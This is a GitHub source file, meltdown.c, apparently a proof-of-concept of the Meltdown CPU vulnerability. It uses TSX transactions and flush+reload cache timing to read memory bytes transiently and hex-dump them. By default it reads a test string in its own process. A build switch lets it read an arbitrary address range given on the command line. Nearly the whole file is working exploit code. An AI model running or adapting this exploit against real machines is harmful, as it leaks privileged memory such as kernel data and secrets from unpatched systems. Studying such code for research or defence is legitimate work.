-
Notifications
You must be signed in to change notification settings - Fork 43
/
meltdown.c
259 lines (216 loc) · 6.38 KB
/
meltdown.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
// flush_reload from https://github.com/defuse/flush-reload-attacks
// TSX from https://github.com/andikleen/tsx-tools
// dump_hex from https://gist.github.com/ccbrown/9722406
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/mman.h>
#define NUM_PROBES 5
#define TEST_IN_OWN_PROCESS 1
#define TEST_PHRASE "Hmm, this does really work!"
// TSX support
#ifndef _RTM_H
#define _RTM_H 1
/*
* Copyright (c) 2012,2013 Intel Corporation
* Author: Andi Kleen
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include the above copyright notice and
* this paragraph in its entirety in the documentation or other materials
* provided with the distribution
*
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/
/* Official RTM intrinsics interface matching gcc/icc, but works
on older gcc compatible compilers and binutils. */
#define _XBEGIN_STARTED (~0u)
#define _XABORT_EXPLICIT (1 << 0)
#define _XABORT_RETRY (1 << 1)
#define _XABORT_CONFLICT (1 << 2)
#define _XABORT_CAPACITY (1 << 3)
#define _XABORT_DEBUG (1 << 4)
#define _XABORT_NESTED (1 << 5)
#define _XABORT_CODE(x) (((x) >> 24) & 0xff)
#define __rtm_force_inline __attribute__((__always_inline__)) inline
static __rtm_force_inline int _xbegin(void)
{
int ret = _XBEGIN_STARTED;
asm volatile(".byte 0xc7,0xf8 ; .long 0" : "+a" (ret) :: "memory");
return ret;
}
static __rtm_force_inline void _xend(void)
{
asm volatile(".byte 0x0f,0x01,0xd5" ::: "memory");
}
/* This is a macro because some compilers do not propagate the constant
* through an inline with optimization disabled.
*/
#define _xabort(status) \
asm volatile(".byte 0xc6,0xf8,%P0" :: "i" (status) : "memory")
static __rtm_force_inline int _xtest(void)
{
unsigned char out;
asm volatile(".byte 0x0f,0x01,0xd6 ; setnz %0" : "=r" (out) :: "memory");
return out;
}
#endif
__attribute__((always_inline))
inline void flush(const char *adrs)
{
asm __volatile__ (
"mfence \n"
"clflush 0(%0) \n"
:
: "r" (adrs)
:
);
}
__attribute__((always_inline))
inline unsigned long probe(const char *adrs)
{
volatile unsigned long time;
asm __volatile__ (
"mfence \n"
"lfence \n"
"rdtsc \n"
"lfence \n"
"movl %%eax, %%esi \n"
"movl (%1), %%eax \n"
"lfence \n"
"rdtsc \n"
"subl %%esi, %%eax \n"
"clflush 0(%1) \n"
: "=a" (time)
: "c" (adrs)
: "%esi", "%edx");
return time;
}
unsigned char probe_one(size_t ptr, char* buf, int page_size)
{
const int num_probes = NUM_PROBES;
int c, i, status = 0, min_idx = 0, win_idx = 0;
unsigned long times[256];
unsigned char guessed_char = 0, tests[256];
unsigned long long t1 = 0;
volatile uint64_t val;
memset(tests, 0, 256);
for (c = 0; c < num_probes; c++) {
memset(times, 0, sizeof(unsigned long) * 256);
for (i=0; i<256; i++) {
flush(&buf[i * page_size]);
}
if ((status = _xbegin()) == _XBEGIN_STARTED) {
asm __volatile__ (
"%=: \n"
"xorq %%rax, %%rax \n"
"movb (%[ptr]), %%al \n"
"shlq $0xc, %%rax \n"
"jz %=b \n"
"movq (%[buf], %%rax, 1), %%rbx \n"
:
: [ptr] "r" (ptr), [buf] "r" (buf)
: "%rax", "%rbx");
_xend();
} else {
asm __volatile__ ("mfence\n" :::);
}
for (i=0; i<256; i++) {
times[i] = probe(&buf[i * page_size]);
}
for (i=0; i<256; i++) {
min_idx = (times[min_idx] > times[i]) ? i : min_idx;
}
tests[min_idx]++;
}
for (i=0; i<256; i++) {
win_idx = (tests[i] > tests[win_idx]) ? i : win_idx;
}
return (unsigned char)win_idx;
}
void dump_hex(void* addr, const void* data, size_t size) {
char ascii[17];
size_t i, j;
ascii[16] = '\0';
printf("0x%016lx | ", (unsigned long)addr);
for (i = 0; i < size; ++i) {
printf("%02X ", ((unsigned char*)data)[i]);
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char*)data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i+1) % 8 == 0 || i+1 == size) {
printf(" ");
if ((i+1) % 16 == 0) {
printf("| %s \n", ascii);
} else if (i+1 == size) {
ascii[(i+1) % 16] = '\0';
if ((i+1) % 16 <= 8) {
printf(" ");
}
for (j = (i+1) % 16; j < 16; ++j) {
printf(" ");
}
printf("| %s \n", ascii);
}
}
}
}
int main(int argc, char** argv)
{
unsigned char read_buf[16];
int page_size = getpagesize(), raw_output = 0;
unsigned long start_addr = 0;
unsigned long t, len = 0;
#if TEST_IN_OWN_PROCESS
static char* test = TEST_PHRASE;
start_addr = (unsigned long)test;
len = strlen(test);
#else
if (argc < 3 || argc > 4) {
printf("usage: %s [start_addr (hex)] [len (dec)] [raw, optional]\n",
argv[0]);
return 0;
}
start_addr = strtoul(argv[1], NULL, 16);
len = strtoul(argv[2], NULL, 10);
if (argc == 4) {
raw_output = 1;
}
#endif
char* poke = (char*)mmap(
NULL,
256 * page_size,
PROT_READ | PROT_WRITE,
MAP_ANON | MAP_SHARED,
-1,
0
);
if (MAP_FAILED == poke) {
printf("mmap() failed: %s\n", strerror(errno));
return -1;
}
printf ("poke buffer: %p, page size: %i\n", poke, page_size);
for (t=0; t<len; t++) {
if (!raw_output && t > 0 && 0 == t%16) {
dump_hex((void*)(start_addr + t - 16), read_buf, 16);
}
read_buf[t%16] = probe_one(start_addr + t, poke, page_size);
if (raw_output) {
write(STDOUT_FILENO, &read_buf[t%16], 1);
}
}
if (!raw_output && t > 0) {
dump_hex((void*)(start_addr + ((t%16 ? t : (t-1))/16) * 16),
read_buf, t%16 ? t%16 : 16);
}
munmap((void*)poke, 256 * page_size);
}